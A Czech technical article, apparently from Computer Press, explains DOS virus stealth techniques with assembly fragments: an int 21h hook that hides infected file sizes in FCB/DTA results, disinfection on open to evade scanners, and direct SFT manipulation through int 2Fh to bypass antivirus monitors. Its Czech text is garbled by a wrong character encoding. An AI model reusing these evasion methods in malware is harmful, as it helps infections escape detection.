virus_int21h: cmp ah, 0fh ; sluzba "Otevri soubor pres FCB" ? je stealth_open_FCB cmp ah, 11h ; sluzba "Najdi prvni soubor pres FCB" ? je stealth_FCB cmp ah, 12h ; sluzba "Najdi dalsi soubor pres FCB" ? je stealth_FCB cmp ah, 4eh ; sluzba "Najdi prvni soubor" ? je stealth_dir cmp ah, 4fh ; sluzba "Najdi dalsi soubor" ? je stealth_dir ... dalsi testy ... stealth_open_FCB: ... volej originalni obsluhu int 21h ... je-li soubor infikovan, pak FCB sniz hodnotu jeho velikosti o virus ... ... dalsi virove manipulace ... stealth_FCB: ... volej originalni obsluhu int 21h ... zjisti adresu DTA, ve ktere je FCB ulozeno ... ... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ... ... dalsi virove manipulace ... stealth_dir: ... volej originalni obsluhu int 21h ... zjisti adresu DTA, ve ktere jsou informace o souboru ulozeny ... ... je-li soubor infikovan, pak v DTA sniz hodnotu jeho velikosti o virus ... ... dalsi virove manipulace ...V p°φpad∞ nßv∞Ütφ stealth_open_FCB a stealth_FCB se velikost souboru nachßzφ na adrese FCB[1dh] resp. DTA[1dh], v p°φpad∞ nßv∞Ütφ stealth_dir pak na adrese DTA[1ah]. V₧dy se jednß o dvojslovo (DWORD). P°i volßnφ funkce 0fh je p°φmo znßma adresa FCB, a proto ji nenφ pot°eba zjiÜ¥ovat prost°ednictvφm DTA. Stealth FCB dΘlky na ·rovni instrukcφ je uveden v rßmci konstrukce souborovΘho SYS viru.
virus_int21h: cmp ah, 3dh ; sluzba "Otevri soubor" ? je stealth cmp ah, 4bh ; sluzba "Spust souboru - EXEC" ? je stealth cmp ah, 6ch ; sluzba "Rozsireneho otevreni souboru" ? je stealth cmp ah, 3eh ; sluzba "Uzavri soubor" ? je infect ... dalsi testy ... stealth: ... je-li oteviran nebo spusten spustitelny soubor, pak jej odviruj ... ... a predej odvirovany soubor pozadovane sluzbe ... ... dalsi virove manipulaceD∙sledkem ·plnΘho stealth mechanismu je skuteΦnost, ₧e antivirovΘ kontroly nezachytφ p°φtomnost viru, nebo¥ v dob∞ testovßnφ je virus ze souboru ji₧ odstran∞n.
mov bx, file_handle ; rukojet souboru mov ax, 1220h ; sluzba "zjisti cislo SFT" int 2fh mov bl, es:di ; cislo SFT (-1 pro neotevreny soubor ) mov ax, 1216h ; sluzba "zjisti adresu SFT" int 2fh ; adresa ES:DI ukazuje na SFTTato posloupnost p°φkaz∙ nynφ umo₧≥uje p°φmou manipulaci s atributy souboru, m≤dem otev°enφ, nastavenφ ukazatele posunu v souboru Φi manipulaci s datem a Φasem, bez volßnφ slu₧eb jßdra DOSu (int 21h), a tφm i bez hrozby zachycenφ operacφ antivirov²m hlφdaΦem.
mov es:[di+15h], 0 ; od offsetu 15h je v tabulce SFT ulozeno mov es:[di+17h], 0 ; dvojslovo aktualniho posunu v souboruPodobn∞ pro p°enastavenφ m≤du otev°enφ na zßpis:
mov es:[di+02h], 2 ; read/write m≤d
Zdroj: Computer Press, ???